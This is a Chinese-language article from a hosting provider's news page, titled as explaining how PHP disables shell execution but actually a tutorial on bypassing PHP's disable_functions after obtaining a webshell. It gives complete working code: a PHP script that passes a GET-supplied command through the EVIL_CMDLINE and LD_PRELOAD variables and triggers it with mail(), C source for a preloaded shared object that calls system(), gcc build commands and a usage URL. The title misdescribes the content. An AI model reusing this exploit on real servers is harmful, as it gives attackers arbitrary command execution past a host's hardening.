您好,登錄后才能下訂單哦!
本篇文章為大家展示了PHP中怎么禁用執(zhí)行Shell代碼,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
Getshell時無法執(zhí)行系統(tǒng)命令
將bypass_disablefunc.php 和 bypass_disablefunc_x64.so共享文件傳到目標服務(wù)器上,指定三個參數(shù)構(gòu)造URL。
http://site.com/bypass_disablefunc.php?cmd=命令執(zhí)行輸入&outpath=outpath&sopath=sopath
一是 cmd 參數(shù),待執(zhí)行的系統(tǒng)命令;
二是 outpath 參數(shù),保存命令執(zhí)行輸出結(jié)果的文件路徑(如 /tmp/xx),便于在頁面上顯示,另外該參數(shù),你應(yīng)注意 web 是否有讀寫權(quán)限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點;
三是 sopath 參數(shù),指定劫持系統(tǒng)函數(shù)的共享對象的絕對路徑(如 /var/www/bypass_disablefunc_x64.so)(上傳時指定),另外關(guān)于該參數(shù),你應(yīng)注意 web 是否可跨目錄訪問到它。
前提:
了解系統(tǒng)信息,如果系統(tǒng)不是debian、x64同類型的linux系統(tǒng)則需要重新編譯
bypass_disablefunc_x64.so 為執(zhí)行命令的共享對象,
用命令 gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
將 bypass_disablefunc.c 編譯而來。 若目標為 x86 架構(gòu),需要加上 -m32 選項重新編譯,bypass_disablefunc_x86.so。
保證:outpath文件路徑web 是否有讀寫權(quán)限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點;
1、先把惡意shell指令寫成cmd >/tmp/xx 2>&1,以便讀取返回信息及錯誤信息;
2、通過寫入新的環(huán)境變量EVIL_CMDLINE(系統(tǒng)不存在,工程生成),從而傳遞惡意shell指令給予共享文件等待執(zhí)行;
3、通過寫入LD_PRELOAD環(huán)境變量來使準備好的共享文件代碼優(yōu)先加載;
4、通過mail函數(shù)觸發(fā)共享文件加載;
共享文件內(nèi)容工作:通過__attribute__ ((__constructor__))修飾符修飾函數(shù)使得共享文件一旦被加載就會執(zhí)行,無論觸發(fā)加載函數(shù)(這里使用的mail)是否執(zhí)行成功與否、第三方插件是否存在,只要加載即執(zhí)行
5、共享文件被加載,__attribute__ ((__constructor__))修飾的系統(tǒng)函數(shù)會比觸發(fā)加載的第三方插件函數(shù)先執(zhí)行。在執(zhí)行系統(tǒng)函數(shù)system(cmdline)前,使用extern char** environ打斷共享文件的二次加載(不然第二次加載的構(gòu)造函數(shù)再執(zhí)行到系統(tǒng)函數(shù)system(cmdline)前又第三次加載該共享文件,往返,從而到達無限循環(huán))。
6、命令的二進制文件順利在系統(tǒng)的內(nèi)存中被執(zhí)行,執(zhí)行的結(jié)果或錯誤信息都記錄到/tmp/xx文件中。
7、通過nl2br(file_get_contents($out_path)) 句子分行的顯示在網(wǎng)頁頁面上,最后通過unlink刪除文件,等待下一次的寫入、顯示。
bypass_disablefunc.php文件——傳遞惡意shell命令、設(shè)置最實現(xiàn)最高級加載、顯示命令執(zhí)行情況
<?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php? $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";#第一步 putenv("EVIL_CMDLINE=" . $evil_cmdline);#第二步 $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path);#第三步 mail("", "", "", "");#第四步 echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);第七步 ?>
bypass_disablefunc_x64.so文件的C語言代碼——執(zhí)行惡意shell指令
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; __attribute__ ((__constructor__)) void preload (void) { // get command line options and arg const char* cmdline = getenv("EVIL_CMDLINE"); // unset environment variable LD_PRELOAD. // unsetenv("LD_PRELOAD") no effect on some // distribution (e.g., centos), I need crafty trick. int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } } // executive command system(cmdline); }
01目的:編寫在系統(tǒng)調(diào)用第三方組件函數(shù)前先執(zhí)行的函數(shù)
02操作
共享對象文件使用c語言來編寫
共享的函數(shù)使用__attribute__ ((__constructor__)) 進行修飾
__attribute__ ((__constructor__)) void preload (void)
03基礎(chǔ)概念
GCC 有個 C 語言擴展修飾符 __attribute__((constructor)),可以讓由它修飾的函數(shù)在 main() 之前執(zhí)行,若它出現(xiàn)在共享對象中時,那么一旦共享對象被系統(tǒng)加載,立即將執(zhí)行 。
01目的:停止環(huán)境變量對system(cmdline)函數(shù)執(zhí)行前的打斷
02操作:
共享文件C語言中加入以下代碼,通過改環(huán)境寫入\0進行清空環(huán)境變量
extern char** environ ; int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], "LD_PRELOAD")) { environ[i][0] = '\0'; } }
03基礎(chǔ)概念
每個程序都有一個環(huán)境表,它是一個字符指針數(shù)組,其中每個指針包含一個以NULL結(jié)尾的C字符串的地址。全局變量environ則包含了該指針數(shù)組的地址:externchar **environ;
在調(diào)用system(cmdline);會又使得LD_PRELOAD再加載自身,這就陷入無限循環(huán)。因此寫入\0,對函數(shù)執(zhí)行的環(huán)境變量修改,打斷LD_PRELOAD再加載自身,從而順利執(zhí)行system(cmdline);
01目的:讀取環(huán)境變量中的惡意shell指令并執(zhí)行
02操作:
共享文件C語言中加入以下代碼、使用C語言調(diào)用的系統(tǒng)函數(shù)
const char* cmdline = getenv("EVIL_CMDLINE"); system(cmdline);
03基礎(chǔ)概念
讀取環(huán)境變量函數(shù)及系統(tǒng)執(zhí)行函數(shù)
getenv ( string $varname [, bool $local_only = FALSE ] ) : stringint
system(const char *command);
01目的:生成系統(tǒng)執(zhí)行的二進制文件,供于被調(diào)用
02操作:
編譯動態(tài)庫、通過c語言編寫功能函數(shù),再使用GCC執(zhí)行系統(tǒng)cmd命令
gcc -shared -fPIC -o 1.so 1.c
03基礎(chǔ)概念
在 windows 平臺和 Linux 平臺下都大量存在著庫。
庫,是一種可執(zhí)行代碼的二進制形式,可以被操作系統(tǒng)載入內(nèi)存執(zhí)行。
共享庫(動態(tài)庫)的代碼是在可執(zhí)行程序運行時才載入內(nèi)存的,在編譯過程中僅簡單的引用,因此代碼體積較小。動態(tài)通常用.so為后綴
-fPIC 作用于編譯階段,告訴編譯器產(chǎn)生與位置無關(guān)代碼(Position-Independent Code),則產(chǎn)生的代碼中,沒有絕對地址,全部使用相對地址,故而代碼可以被加載器加載到內(nèi)存的任意位置,都可以正確的執(zhí)行。這正是共享庫所要求的,共享庫被加載時,在內(nèi)存的位置不是固定的。
譯成 x86 架構(gòu)需要加上 -m32 選項
01目的:惡意shell指令組合,輸出結(jié)果和錯誤信息都記錄到指定地方/tmp/xx,從而可以被讀取顯示結(jié)果或錯誤信息
02操作:
cmd >/tmp/xx 2>&1
03基礎(chǔ)概念:
2>&1 的意思就是將標準錯誤重定向到標準輸出。
Linux的文件描述符--標準輸入輸出說明
stdin,標準輸入,默認設(shè)備是鍵盤,文件編號為0。
stdout,標準輸出,默認設(shè)備是顯示器,文件編號為1,也可以重定向到文件。
stderr,標準錯誤,默認設(shè)備是顯示器,文件編號為2,也可以重定向到文件。
>&重定向符
01目的:設(shè)置環(huán)境變量的值,傳遞惡意shell指令以及指定的動態(tài)庫加載的優(yōu)先級最高
02操作:
putenv("EVIL_CMDLINE=" . $evil_cmdline); putenv("LD_PRELOAD=bypass_disablefunc_x64.so");
03基礎(chǔ)概念:
putenv ( string $setting ) : bool
添加 setting 到服務(wù)器環(huán)境變量。 環(huán)境變量僅存活于當前請求期間。 在請求結(jié)束時環(huán)境會恢復(fù)到初始狀態(tài)。如果環(huán)境中沒有該服務(wù)器環(huán)境變量,則會臨時存在。
EVIL_CMDLINE在環(huán)境變量是不存在,人為生成傳遞函數(shù)用
LD_PRELOAD的作用是為優(yōu)先加載庫設(shè)置
一般情況下,庫加載順序為LD_PRELOAD>LD_LIBRARY_PATH> /etc/ld.so.cache>/lib>/usr/lib。
LD_PRELOAD、LD_LIBRARY_PATH都為環(huán)境變量、/etc/ld.so.cache、/usr/lib為文件目錄;
01目的:觸發(fā)系統(tǒng)執(zhí)行編寫的二進制文件,執(zhí)行__attribute__ ((__constructor__)) void preload (void);
02操作:
mail("", "", "", "");
03基礎(chǔ)概念
mail() 函數(shù)允許您從腳本中直接發(fā)送電子郵件。
注:php代碼中只是為了創(chuàng)建新進程,觸發(fā)系統(tǒng)對LD_PRELOAD的加載,因__attribute__ ((__constructor__)) 屬性的函數(shù)會優(yōu)先main函數(shù)先執(zhí)行,實際在該工程中mail不需要第三方sendmail的支持;
01目的:讀取存入/tmp/xx的信息
02操作:
nl2br(file_get_contents($out_path))
03基礎(chǔ)概念:
file_get_contents — 將整個文件讀入一個字符串
file_get_contents ( string $filename [, bool $use_include_path = false [, resource $context [, int $offset = -1 [, int$maxlen ]]]] ) : string
和 file() 一樣,只除了 file_get_contents() 把文件讀入一個字符串。將在參數(shù) offset 所指定的位置開始讀取長度為maxlen 的內(nèi)容。如果失敗,file_get_contents() 將返回 FALSE。
nl2br() 函數(shù)在字符串中的每個新行(\n)之前插入 HTML 換行符(<br> 或 <br />)。
01目的:刪除文件
02操作:
unlink($out_path);
03基礎(chǔ)概念
unlink(filename,context)
定義和用法
unlink() 函數(shù)刪除文件。
如果成功,該函數(shù)返回 TRUE。如果失敗,則返回 FALSE。
參數(shù) | 描述 |
---|---|
filename | 必需。規(guī)定要刪除的文件。 |
context | 可選。規(guī)定文件句柄的環(huán)境。context 是一套可以修改流的行為的選項。 |
上述內(nèi)容就是PHP中怎么禁用執(zhí)行Shell代碼,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。